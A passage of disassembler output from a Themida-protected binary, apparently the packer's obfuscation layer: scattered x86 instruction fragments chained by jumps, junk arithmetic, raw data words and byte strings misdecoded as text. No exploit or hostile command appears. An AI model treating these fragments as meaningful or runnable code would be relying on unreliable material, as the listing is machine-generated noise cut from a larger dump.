4EC8358h, 0FF242C89h, 5D042474h dd 5C24048Fh, 0F66E1F6h, 6866CCB6h, 8966683Ch, 0F66240Ch dd 5166C8B6h, 0EE7DE99Ch, 0C483FFFFh, 0E3895304h, 4BD55h dd 0EB010000h, 1DF7E9h db 0 ; --------------------------------------------------------------------------- loc_553D51: ; CODE XREF: Themida_:00559C8Bj xchg ebp, [esp] jmp loc_55323B ; --------------------------------------------------------------------------- db 66h, 53h, 88h dd 88D3F6C3h, 865B66D8h, 8B012444h, 89512414h, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 23F6805Ch, 5774E9h db 0 ; --------------------------------------------------------------------------- loc_553D85: ; CODE XREF: Themida_:0055886Ej pop ecx jmp loc_55E4B1 ; --------------------------------------------------------------------------- db 1 aUsS db 'НИ╣▒',0 align 2 dw 590Dh dd 40688548h, 461C352Dh, 0E9C701B4h, 0BCE2h, 4246C81h dd 33205DF8h, 5E2434FFh, 4C481h, 34FF0000h, 24348B24h dd 11D40E9h db 0 ; --------------------------------------------------------------------------- loc_553DC1: ; CODE XREF: Themida_:0055AFC8j dec eax sub esp, 4 mov [esp], edx jmp loc_55C4A0 ; --------------------------------------------------------------------------- dd 1A5127BFh, 5FFD3170h, 505DEB29h, 7A5D68h, 243C8900h dd 85677DBFh, 7E7C172h, 73B3EF81h, 0F889E5BEh, 58C3215Fh dd 8904EC83h, 6853243Ch, 281615FDh, 1CF3815Bh, 8169C34Bh dd 0FFFFFFC3h, 4EC81FFh, 89000000h, 0E5682414h, 5A1F333Ch dd 6DD8CA81h, 0F74234CFh, 2ECA81DAh, 81594849h, 0CECF8EF2h dd 5AD331D4h, 215BDF89h, 4FE95FFBh db 0F8h, 2 dup(0FFh) byte_553E43 db 0ACh ; DATA XREF: Themida_:00552B14o dd 4EC81h, 0C890000h, 4EC8324h, 0E9240489h, 6B97h, 61F5814Dh dd 4D27365Ch, 4768C581h, 0F5815632h, 0DC052096h, 1AE9EF21h db 1Bh, 1, 0 ; --------------------------------------------------------------------------- loc_553E73: ; CODE XREF: Themida_:00554F9Fj xor [esp], eax xor eax, [esp] pop esp shr ecx, 0Ah jmp loc_5620D0 ; --------------------------------------------------------------------------- dw 1C89h aSA db '$И{М',0 align 2 loc_553E8A: ; CODE XREF: Themida_:0055E02Aj mov [esp], ebp push 1CB0h mov [esp], esi mov esi, 2A715B7h push edx mov edx, 1E5B913Eh jmp loc_55E7DB ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0FF04C483h, 8E92434h, 55000086h, 1D03BA52h, 51576B92h dd 1D73E9h db 0 ; --------------------------------------------------------------------------- loc_553EC1: ; CODE XREF: Themida_:00564E98j add esp, 4 mov ecx, [esp] add esp, 4 mov ebp, [esp] jmp loc_563DFF ; --------------------------------------------------------------------------- loc_553ED2: ; CODE XREF: Themida_:00564A74j mov ecx, [esp] jmp loc_5635A6 ; --------------------------------------------------------------------------- dw 4868h dd 5E265969h, 8107EEC1h, 77F030C6h, 0FAFE9DDh, 0ED800001h dd 0E95866E8h, 976h, 4CB0E95Bh, 0C890000h, 0E9B1B124h dd 11D3Eh ; --------------------------------------------------------------------------- loc_553F08: ; CODE XREF: Themida_:00558374j xor ebx, edi pop edi shr ebx, 8 and ebx, 2A8C34A8h push edi mov edi, 2C645C2Bh xor edi, 7B770B66h sub esp, 4 mov [esp], ebx jmp loc_55A3D4 ; --------------------------------------------------------------------------- loc_553F2E: ; CODE XREF: Themida_:00567F9Aj add ecx, 4 sub ecx, 4 jmp loc_566F96 ; --------------------------------------------------------------------------- loc_553F3C: ; CODE XREF: Themida_:0055EC46j shr edi, 4 jmp loc_5646A6 ; --------------------------------------------------------------------------- dd 0E207D5B8h, 8E8C112h, 0AB2B4B0Dh, 4825483Dh, 0C10EAD3Eh dd 0B93506E0h, 310F1E95h, 0F80158C7h, 0FFF469E9h, 0E8BD55FFh dd 8141A13Fh, 0E02D7EC7h, 8AEF8110h, 29275D07h, 8AC781EFh dd 81275D07h, 0E02D7EEFh, 81475D10h, 0B967EAC7h, 0EA8141h dd 104D607h, 0C281FAh, 0FF04D607h, 835F2434h, 148704C4h dd 24248B24h, 9C2404D2h, 0FFEC06E9h, 0E0C15AFFh, 2AF3E904h dd 93BF0000h, 815ADC09h, 3427D7F7h, 0B4EE927h, 0DFF70000h dd 43BDE781h, 0C781484Fh, 0FFBFFDECh, 0E34EE9h db 0 ; --------------------------------------------------------------------------- loc_553FE1: ; CODE XREF: Themida_:00566F50j mov ebx, 5E79482Ah xor eax, ebx pop ebx not eax not eax jmp loc_560918 ; --------------------------------------------------------------------------- dw 0D001h dd 8904EC83h, 67BA2414h, 68658B27h, 6C9Dh, 0E9241489h dd 5C3Bh, 8B240433h, 8B662424h, 1FE92414h, 5000003h, 33A07638h dd 0FFF292E9h db 0FFh ; --------------------------------------------------------------------------- loc_554025: ; CODE XREF: Themida_:0055BCBCj add ebx, edx pop edx jmp loc_55D4B9 ; --------------------------------------------------------------------------- byte_55402D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552A74o dd 0FF545124h, 0C8B2434h, 4C48324h, 0B3AE950h, 48B0000h dd 4C48124h, 5F000000h, 0FFEB6AE9h, 16CA80FFh, 80F5CA80h dd 0C28053EAh, 8BD130F6h, 82E92414h, 290000B9h, 81585DEFh dd 0D051EBC7h, 6850h, 3C290000h, 53AEE924h, 248B0000h dd 241C8924h, 0D2E9E389h, 0FF000023h, 57582434h, 76ABE9h dd 2C48300h, 66F58766h, 45C8F581h, 0FFE82966h, 2C8B2434h dd 84E95324h, 58000073h, 81E28952h, 4C2h, 4C28100h, 87000000h dd 3E92414h, 50000122h, 0B4242C81h, 5951F654h, 54B4C181h dd 48B51F6h, 4C48124h, 81000000h, 53AFAE1h, 0F1814151h dd 1D9D4FD7h, 2E95152h, 0BB000123h, 266611F9h, 0EE0BC381h dd 0DE01D999h, 4C6835Bh, 416468h, 24348900h, 42474FFh dd 8324348Bh, 48F04C4h, 24248B24h, 1B4868h, 24148900h dd 0A2CEE9h, 0EB814B00h, 52BF2662h, 1C8BDA01h, 0ECECE924h dd 1C890000h, 34D4BB24h, 0EBC1799Dh, 812EE908h, 0B8BA0000h dd 424CDC4Ah, 1CE2C281h, 0EA8148F1h, 67F42F7Dh, 7540EA81h dd 0F2816674h, 0C764C2DAh, 815AD089h, 0C020BBC1h, 81C1011Fh dd 0C020BBE9h, 0BD55581Fh, 2, 0F78BF57h, 0E7C11B3Bh, 4EC8102h dd 89000000h, 34B9240Ch, 3132A404h, 240C8BCFh, 0FFF36AE9h dd 0E4C281FFh, 0C1758603h, 0B5E908EAh, 5B0000F7h, 70FEC681h dd 846817E8h, 89000041h, 0AFE9242Ch, 5D0000CDh, 81E78957h dd 4C7h, 4C78300h, 31243C33h, 3C33243Ch, 0C3315C24h, 4EC81h dd 0C890000h db 24h, 54h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi mov esi, 40A26AC8h xor esi, 40A26ACCh add ecx, esi pop esi jmp loc_55F94B ; --------------------------------------------------------------------------- db 54h, 8Bh, 4 aSq db '$ИО-',0 align 2 dw 815Dh dd 0ED6FF6F2h, 4B36E946h, 1C890000h, 81E38924h, 4C3h, 4EC8100h dd 0E9000000h, 41Bh, 3C8BF801h, 4EC8324h, 68240489h, 20F0h dd 1027CE9h, 240C8700h, 0FEE4E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554256: ; CODE XREF: Themida_:0055575Aj pop esp jmp loc_55F63C ; --------------------------------------------------------------------------- dd 31240433h, 4332404h, 24248B24h, 9CC83B66h, 0FFE94AE9h db 0FFh ; --------------------------------------------------------------------------- loc_554271: ; CODE XREF: Themida_:00561831j add esp, 4 jmp loc_55DAC8 ; --------------------------------------------------------------------------- loc_554279: ; CODE XREF: Themida_:005597C4j pop esi add esp, 4 sub esp, 4 mov [esp], eax push ebp push 43A96A9Eh pop ebp sub ebp, 56D3502Dh add ebp, 59B1F06Dh mov eax, ebp pop ebp push ecx mov ecx, 178759FDh push edx mov edx, 11D817B6h xor edx, 3D812823h xor edx, 2C593F94h add ecx, edx jmp loc_55C05A ; --------------------------------------------------------------------------- loc_5542BE: ; CODE XREF: Themida_:0055837Fj pop ecx and ecx, eax mov eax, [esp] jmp loc_55FFFD ; --------------------------------------------------------------------------- byte_5542C9 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005529F8o dd 419589Dh, 0E4E99C24h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5542D7: ; CODE XREF: Themida_:0056247Dj add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_55334A ; --------------------------------------------------------------------------- loc_5542EE: ; CODE XREF: Themida_:0055F175j push esp jmp loc_565C94 ; --------------------------------------------------------------------------- dd 37C8BD55h, 0EF29600Fh, 0DD0CE9h, 0F7814F00h, 7ECB5B2Eh dd 815FFB89h, 351CC7EDh, 0AC58103h, 29685E08h, 0AED81DDh dd 81685E08h, 351CC7C5h, 0E03BE903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55432A: ; CODE XREF: Themida_:0055E1ABj mov edx, 4 add esi, 4E600C06h jmp loc_56430A ; --------------------------------------------------------------------------- dw 5452h dd 0E924148Bh, 134B5h, 48BC301h, 4C48124h, 1000000h, 1BEB81F3h dd 5E76D679h, 1C8B0388h, 4C48124h, 0E9000000h, 0A5B9h dd 10EC80h, 10C480F4h, 5ECC05Ah, 6802E4C0h, 1DA6h, 66241489h dd 8893B551h, 9B9E9EAh, 0D7B90001h, 1733575h, 0ED8159CDh dd 1EA41E93h, 80E9DD01h db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55439F: ; CODE XREF: Themida_:0055AF44j push esp mov ebp, [esp] jmp loc_562B7A ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 4C6800h, 4890000h, 0E9E08924h, 1C52h ; --------------------------------------------------------------------------- loc_5543C0: ; CODE XREF: Themida_:0055AD46j xor ecx, 0F640AE4Bh mov ebx, ecx pop ecx inc ebx shl ebx, 3 jmp loc_55F5A7 ; --------------------------------------------------------------------------- dw 0E9C1h dd 1E98303h, 0F5D1E981h, 0CD291487h, 592434FFh, 607DE9h db 0 ; --------------------------------------------------------------------------- loc_5543E9: ; CODE XREF: Themida_:0055F61Bj pop edx add ebx, 5C35684Fh sub ebx, 573301Ch push ebp jmp loc_55B6F0 ; --------------------------------------------------------------------------- loc_5543FC: ; CODE XREF: Themida_:005603F8j or ebp, edx jmp loc_566BA0 ; --------------------------------------------------------------------------- byte_554403 db 66h ; DATA XREF: Themida_:00552A98o dd 81240C8Bh, 4ECh, 243C8900h, 5CE9E789h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_554417: ; CODE XREF: Themida_:0055FC46j add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax jmp loc_55A58B ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 0EC832404h, 243C8904h, 4BA4E9h db 0 ; --------------------------------------------------------------------------- loc_55443D: ; CODE XREF: Themida_:0056643Dj push ecx jmp loc_5660F4 ; --------------------------------------------------------------------------- byte_554443 db 66h ; DATA XREF: Themida_:00552A3Co dd 5124048Bh, 7B8568h, 24248900h, 2D7668h, 0E458E900h dd 48B0000h, 60BE924h, 0F5010000h, 4ED835Eh, 0E9242C87h dd 13E3Dh ; --------------------------------------------------------------------------- loc_554470: ; CODE XREF: Themida_:0055F9B9j pop ebx push 54BFh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5634F5 ; --------------------------------------------------------------------------- db 89h dd 0F6E4E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554496: ; CODE XREF: Themida_:00562E7Ej add ebx, 4 push ebx jmp loc_560E24 ; --------------------------------------------------------------------------- dw 0E829h dd 0E9C2015Dh, 885Bh, 0DAF7D2F7h, 4542E281h, 0F2813DCCh dd 28484006h, 565AD301h, 9E5FE9h, 24348700h, 9D42E95Ch dd 0D9F70000h, 0E6ADE9h, 0C335A00h, 240C3124h, 0E06DE9h dd 246C8100h, 0FD28DF04h, 815D5E7Dh, 4C5h, 30E6800h, 0C890000h dd 2B924h, 0CEE90000h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554503: ; CODE XREF: Themida_:005531ABj add esp, 4 shl esi, 5 jmp loc_5568D8 ; --------------------------------------------------------------------------- word_55450E dw 8B66h ; DATA XREF: Themida_:00552AD8o dd 71E92404h db 0E5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554517: ; CODE XREF: Themida_:00564C12j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_559B9F ; --------------------------------------------------------------------------- loc_554525: ; CODE XREF: Themida_:00556949j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_560584 ; --------------------------------------------------------------------------- dd 0E99C5066h, 0FFFFE67Fh, 5C240C33h, 0B1240C89h, 4DC180BDh dd 80CDB652h, 0E9809DC6h, 87E980DFh, 0C180F128h, 0D056E987h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55455E: ; CODE XREF: Themida_:0055F3E3j pop ecx push eax mov eax, 0F892088h add eax, 12F448E3h shr eax, 6 xor eax, 21947C1Fh sub eax, 13944C3Dh jmp loc_559BA7 ; --------------------------------------------------------------------------- dd 4245401h, 8904EC83h, 0BA2414h, 124C103h, 5A082454h dd 0F756E9h, 2E06800h, 0C890000h, 0A00AE924h, 0E95A0000h dd 0FFFFE613h, 51FFC180h, 592414F6h, 0DD54E9h, 81E18900h dd 4C1h, 4C18100h, 0E9000000h, 6B3Bh, 0FFE5EEE9h, 815B54FFh dd 4C3h, 0F6A5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5545DA: ; CODE XREF: Themida_:0055D0E6j add ebx, 45A327ECh add ebx, 256D6B4Ch pop ecx jmp loc_568038 ; --------------------------------------------------------------------------- dd 31240433h, 5E92404h, 58000111h, 0E9241433h, 0C4AEh ; --------------------------------------------------------------------------- loc_554600: ; CODE XREF: Themida_:00556C0Ej sub eax, 787543B2h add ecx, eax pop eax xchg ecx, [esp] pop esp jmp loc_566963 ; --------------------------------------------------------------------------- db 0E9h, 0A5h, 0E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554616: ; CODE XREF: Themida_:00560FF4j push edx jmp loc_561F38 ; --------------------------------------------------------------------------- loc_55461C: ; CODE XREF: Themida_:0055493Fj xchg cl, bh dec bh sub bh, 50h xor bh, 58h jmp loc_563EED ; --------------------------------------------------------------------------- db 66h dd 4766DFF7h, 48EF8166h, 0F781662Fh, 33E95EAFh, 0F600012Bh dd 0D5C480D4h, 0F658E500h, 80CDFED5h, 25E9DFC5h, 89000097h dd 4BF243Ch db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5659DF ; --------------------------------------------------------------------------- dd 0F509E956h, 0E9510000h, 75h, 3099E95Ch, 0D1890000h dd 8324148Bh, 0C0E904C4h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55468B: ; CODE XREF: Themida_:00567EA6j sub esp, 4 mov [esp], edx mov dl, 62h xor dl, 0F8h xor dl, 0E9h push ecx mov ch, dl not ch jmp loc_55BE4E ; --------------------------------------------------------------------------- loc_5546A3: ; CODE XREF: Themida_:005655A2j xor ebx, 29532269h mov edx, ebx pop ebx jmp loc_567507 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 46F5E95Ch, 0F7810000h, 3DB60047h, 34FFF829h, 0C4815F24h dd 4, 31240433h, 4332404h, 9EB3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5546DA: ; CODE XREF: Themida_:00553253j sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_55914D ; --------------------------------------------------------------------------- dd offset loc_407868 align 2 dw 8F54h dd 4812404h, 424h, 0BF575900h, 4FC32BF3h, 0E37E9h, 0C7835800h dd 243C8704h, 24048F5Ch, 2404085Ch, 5811E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55471E: ; CODE XREF: Themida_:005657E0j sub esi, 4E6A191Eh sub esi, edx push ecx mov ecx, 4E6A191Eh add esi, ecx pop ecx sub esi, 369F4C83h mov edx, [esp] add esp, 4 mov eax, esi push dword ptr [esp] pop esi push edx mov edx, esp sub esp, 4 mov [esp], ebx mov ebx, 1AD2149Dh xor ebx, 151F4A4Ah jmp loc_564A4E ; --------------------------------------------------------------------------- dd 0BB241C89h, 3EC65E91h, 4EC81h, 2C890000h, 6DA4BD24h dd 0D5F72228h, 0DAFEE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55477E: ; CODE XREF: Themida_:0055D1FDj push ebx mov ebx, 27D334C9h jmp loc_565C7B ; --------------------------------------------------------------------------- db 86h, 44h, 24h dd 0F5C7E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554792: ; CODE XREF: Themida_:00553A92j add ebp, eax push dword ptr [esp] pop eax push ecx jmp loc_5606E8 ; --------------------------------------------------------------------------- aS8 db '╥╢И8{',0 dd 10685100h, 8B21A50Ch, 0C481240Ch, 4, 779CE9h, 46E95900h dd 8B0000E8h, 0A3E92424h, 1FFFFEEh, 0E6E958C7h, 8B0000DDh dd 89562414h, 4C681E6h, 83000000h, 37E904C6h, 810000A3h dd 0E209EAC6h, 0A5F68130h, 0E90AD40Bh, 0F7EAh, 40558h dd 0E8830000h, 667BE904h, 85680000h, 89000046h, 0F9BE2434h dd 0E9288806h, 49DEh, 0FB2DE801h, 5D2DB056h, 0E4627505h dd 0E3055970h, 173D417h, 368EE9C6h, 0C7810000h, 4, 8704EF83h dd 895C243Ch, 74FF241Ch, 1C8B0424h, 4C48324h, 0E924048Fh dd 0EBD9h ; --------------------------------------------------------------------------- loc_554850: ; CODE XREF: Themida_:00558A44j mov esp, [esp] push edi jmp loc_55F259 ; --------------------------------------------------------------------------- loc_554859: ; CODE XREF: Themida_:0055F009j xor ebx, 50161E3h jmp loc_557019 ; --------------------------------------------------------------------------- loc_554864: ; CODE XREF: Themida_:0055B67Aj sub eax, 221B2EBh jmp loc_554D26 ; --------------------------------------------------------------------------- dw 0EE88h dd 6E6C059h, 0EEC0CEFEh, 0F371E902h, 0E953FFFFh, 5EE8h ; --------------------------------------------------------------------------- loc_554884: ; CODE XREF: Themida_:00564EE2j mov [esp], esi mov esi, esp add esi, 4 push 1B29h mov [esp], ebp push eax jmp loc_56537D ; --------------------------------------------------------------------------- loc_55489D: ; CODE XREF: Themida_:00561474j push edi mov edi, 28CC7B0Fh shr edi, 8 shr edi, 8 add edi, 1 inc edi push 146Fh mov [esp], edx jmp loc_557992 ; --------------------------------------------------------------------------- db 81h, 34h, 24h dd 6E825CB5h, 5CB53558h, 0EC836E82h, 24048904h, 0AB242C81h dd 5A61C108h, 8ABC281h, 1DE961C1h, 570000A1h, 4443E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5548EA: ; CODE XREF: Themida_:005603C4j xchg edx, [esp] mov esp, [esp] mov [esp], edx jmp loc_55F589 ; --------------------------------------------------------------------------- loc_5548F8: ; CODE XREF: Themida_:0055E644j mov edx, 409875BBh xor ebp, edx jmp loc_55FFC0 ; --------------------------------------------------------------------------- dd 4C781h, 3C870000h, 24248B24h, 34BF5756h, 0E935C242h dd 53Bh, 5E240CFFh, 8108EEC1h, 0CE7CAEEEh, 0A45EE9B4h dd 0F2810000h, 201B57CBh, 98E9D389h db 0C5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55493B: ; CODE XREF: Themida_:00564614j xchg cl, bh inc cl jmp loc_55461C ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4ED81h, 0F6E90000h, 310000EFh, 4E959CFh dd 0F60000A2h, 0B6EE80D6h, 11E9F028h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55496B: ; CODE XREF: Themida_:0055B5C3j push esp pop esi jmp loc_567D94 ; --------------------------------------------------------------------------- aWhuA db 'WhU',8,'²',0 aS_6 db 'ИЁ╣',0 dd 88525100h, 5AD588FAh, 88EA8852h, 8FE95AD4h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55498F: ; CODE XREF: Themida_:00565C76j mov esi, 706EBCh sub esi, 3B630E31h jmp loc_55BDDE ; --------------------------------------------------------------------------- aSc_0 db ')хИГш',0 align 2 aZS db '^┤<$\ИиЁ',0 align 10h dd 0EC81C801h, 4, 0BE243489h, 0C8B3B35h, 8B5EF001h, 0C483240Ch dd 24043304h, 12082E9h, 5D595500h, 8159CB01h, 4C3h, 241C3300h dd 57AEE9h, 0A2685A00h, 0E9000063h, 77BBh, 4C56BF57h, 0DFF7161Bh dd 0DDC78147h, 993FB95h, 0F3815FFBh, 2B957DDAh, 525BD801h dd 609C6857h, 555F4BE2h, 0FCA0E9h db 0 ; --------------------------------------------------------------------------- loc_554A19: ; CODE XREF: Themida_:0055E655j pop eax pop ecx push eax push 4E7Fh jmp loc_563283 ; --------------------------------------------------------------------------- dw 0C8Bh aPs_0 db '$PИ/"',0 db 0 ; --------------------------------------------------------------------------- loc_554A2F: ; CODE XREF: Themida_:0055824Bj inc edi jmp loc_5611E3 ; --------------------------------------------------------------------------- aSyshm db '(ХYИHm',0 dd 242C8B00h, 4A2BE9h db 0 ; --------------------------------------------------------------------------- loc_554A45: ; CODE XREF: Themida_:0055E735j mov cl, 8 jmp loc_55F546 ; --------------------------------------------------------------------------- dd 24BB6866h, 24148966h, 0E512E9h, 0E9CB2800h, 87C1h, 5E08950h dd 4, 4388E9h, 4C48100h, 81000000h, 31069FEAh, 50FA0123h dd 31069FB8h, 7FC28123h, 0E937E011h, 1243Ch, 8704EB83h dd 0E95C241Ch, 0AC2Dh ; --------------------------------------------------------------------------- loc_554A98: ; CODE XREF: Themida_:00555479j push 14F3h mov [esp], edx mov dh, 35h push ebx jmp loc_562B5F ; --------------------------------------------------------------------------- dd 158C601h, 66E950CEh db 18h, 1, 0 ; --------------------------------------------------------------------------- loc_554AB3: ; CODE XREF: Themida_:0055D7E1j pop edx mov eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 jmp loc_55B46F ; --------------------------------------------------------------------------- db 89h dd 62BA2414h, 8171B017h, 0EB194DEAh, 0EA814A0Ah, 490143F3h dd 6341C281h, 0F3E97FD2h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554AE7: ; CODE XREF: Themida_:00560A8Cj pop edi jmp loc_56558E ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 87000000h, 685C2414h, 57C3h, 68240C89h, 1C80h, 0BB241C89h dd 2F00777Ah, 0FF88B6B9h, 0B9C181D0h, 0E979A914h, 887h dd 16E9FD89h db 0E3h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push eax mov eax, 3339215Bh push ebp mov ebp, eax jmp loc_55BB2A ; --------------------------------------------------------------------------- loc_554B35: ; CODE XREF: Themida_:00552DD1j add edi, 4 push 176Ch mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push 4FE6h jmp loc_556F26 ; --------------------------------------------------------------------------- dw 3A68h dd 0E91FF45Ah, 103A1h, 148BD788h, 4C48324h, 8B66FD28h dd 0D2E9241Ch db 0Fh, 1, 0 ; --------------------------------------------------------------------------- loc_554B73: ; CODE XREF: Themida_:005665BBj pop esi xchg edx, [esp] jmp loc_561870 ; --------------------------------------------------------------------------- dd 405E089h, 5000000h, 4, 2474FF50h, 48F5804h, 0BD555C24h dd 1CC514Ch, 5203EDC1h, 0FFFFFFBAh, 5AD529FFh, 4EC81h dd 62E90000h, 89000117h, 0B8505FFEh, 64B616C3h, 0A2764035h dd 0D1D0F746h, 4F9AE9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554BC6: ; CODE XREF: Themida_:00563F9Cj mov ebx, esp jmp loc_55F4C4 ; --------------------------------------------------------------------------- db 59h, 0E9h, 0B5h dd 97000017h, 5697D0F7h, 784AB2BEh, 7EEE8170h, 8107971Dh dd 36776EEEh, 31D2E92Fh db 1, 0 ; --------------------------------------------------------------------------- loc_554BEE: ; CODE XREF: Themida_:00566F3Cj xor edi, 2EC3414h jmp loc_558712 ; --------------------------------------------------------------------------- db 81h, 0E2h, 27h dd 810F784Bh, 0D7ADBEAh, 5AD00172h, 8158C389h, 0B25A22EBh dd 0BABF5769h, 0F7726378h, 92F781DFh, 1AF84AFh, 83DE9FBh db 1, 0 ; --------------------------------------------------------------------------- loc_554C26: ; CODE XREF: Themida_:0055718Cj mov [esp], esi mov esi, 766D18DCh shr esi, 6 jmp loc_56390A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0A9BE5655h, 682B2B34h, 2342h, 0BB241C89h, 0D4D4CB59h dd 15BDD89h, 0B800E9F5h, 0C4810000h, 4, 773C68h, 24048900h dd 42474FFh, 24048F58h, 48B665Ch, 0E89AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554C7A: ; CODE XREF: Themida_:0055E158j push eax mov eax, 24h add eax, 170C6F24h add eax, edi jmp loc_556DE9 ; --------------------------------------------------------------------------- loc_554C8C: ; CODE XREF: Themida_:00559C42j mov ecx, 987A0BF9h xor edx, ecx pop ecx sub ebx, 20476BDBh add ebx, edx push eax jmp loc_55E9EA ; --------------------------------------------------------------------------- dw 0C281h dd 7B42C0Fh, 835AD129h, 148904ECh, 59CBA24h, 0D1295017h dd 0E25EE95Ah db 2 dup(0FFh) word_554CBE dw 8B66h ; DATA XREF: Themida_:00552B5Co dd 0C6E92404h db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554CC7: ; CODE XREF: Themida_:0055E43Aj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], esi mov esi, 4 jmp loc_5565F0 ; --------------------------------------------------------------------------- loc_554CDE: ; CODE XREF: Themida_:0055D815j add esp, 4 add esp, 4 push edx mov edx, 24FD5B31h shl edx, 1 sub edx, 49FAB65Eh push ecx mov ecx, 0A8E4CFBh add edi, 22361DFEh add edi, ecx sub edi, 22361DFEh pop ecx add edi, edx sub edi, 0A8E4CFBh pop edx add edi, 4 jmp loc_55324F ; --------------------------------------------------------------------------- db 81h dd 0A237CEC2h, 0F47BE909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554D26: ; CODE XREF: Themida_:00554869j push eax xor dword ptr [esp], 14911ED2h pop edx push ebp mov ebp, 400145C1h push esi mov esi, 6D0D5C0Bh xor ebp, esi pop esi xor ebp, 399D0718h xor edx, ebp pop ebp jmp loc_566F67 ; --------------------------------------------------------------------------- loc_554D4C: ; CODE XREF: Themida_:005611B2j pop eax mov edx, ecx pop ecx jmp loc_556EA7 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0EC815D54h, 4, 52240489h, 10915E9h db 0 ; --------------------------------------------------------------------------- loc_554D69: ; CODE XREF: Themida_:00560921j not dword ptr [esp] mov esi, [esp] add esp, 4 neg esi sub esi, 0FFFFFFFFh add esi, 1 push edx mov edx, 14B908E7h inc edx push esi jmp loc_55A910 ; --------------------------------------------------------------------------- loc_554D8D: ; CODE XREF: Themida_:00557EA3j pop ecx sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push ebx mov bh, al jmp loc_55BB4F ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 81000000h, 4C5h, 46816800h, 3C890000h, 26824h dd 0AEE90000h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554DC3: ; CODE XREF: Themida_:00559BC9j add esp, 4 xchg edx, [esp] jmp loc_566907 ; --------------------------------------------------------------------------- loc_554DCE: ; CODE XREF: Themida_:0055F16Dj mov esp, [esp] mov [esp], edx push 6E36h mov [esp], ebp jmp loc_556FF0 ; --------------------------------------------------------------------------- loc_554DE1: ; CODE XREF: Themida_:00555664j shl ebp, 2 add ebp, 27C14953h sub ebp, 0AB63EF0h jmp loc_56031B ; --------------------------------------------------------------------------- loc_554DF5: ; CODE XREF: Themida_:0055C3DCj xchg eax, [esp] pop esp mov [esp], ebx jmp loc_565023 ; --------------------------------------------------------------------------- aZsg db 'ZИg*',0 dw 0BB00h dd 18DB6119h, 0BFEBE9h, 58C60100h, 37BC68h, 24348900h dd 56243C8Bh, 24348B54h, 5204C483h, 240CC4BAh, 0F7E28116h dd 42708B02h, 50C2814Ah, 8116D561h, 55F67C2h, 89C2814Eh dd 18B253Eh, 82685AD6h, 8900006Eh, 5FE92414h, 57000095h dd 0F75D5F55h, 81EF87D5h, 1C3D5BCFh, 0C781470Bh dword_554E68 dd 65A7029Ah, 0FF5FE9h, 0ADC28100h, 12C3202h, 0ADEA81C2h ; DATA XREF: Themida_:off_562EF7o dd 0E92C3202h, 11E9Fh, 68243489h, 426Eh, 0E9241489h, 2685h ; --------------------------------------------------------------------------- loc_554E94: ; CODE XREF: Themida_:0055FB39j sub esp, 4 mov [esp], edx push eax mov eax, 661D1F13h mov edx, 1C1C7591h xor edx, eax pop eax sub edx, 46936449h push ecx mov ecx, 26560EF0h add eax, ecx pop ecx sub eax, edx sub eax, 26560EF0h push dword ptr [esp] pop edx add esp, 4 mov [edi+20h], eax pop eax jmp loc_564625 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 81E68956h, 4C6h, 76CEE900h db 2 dup(0) word_554EE2 dw 30ACh ; DATA XREF: Themida_:00552B68o dd 866866D8h, 14896648h, 4EC8124h, 89000000h, 0CFE9241Ch dd 0BD0000C7h, 4, 505DE801h, 0D7A3E9h, 0BABA5200h, 0E9595F68h dd 1232Fh, 74EF814Fh, 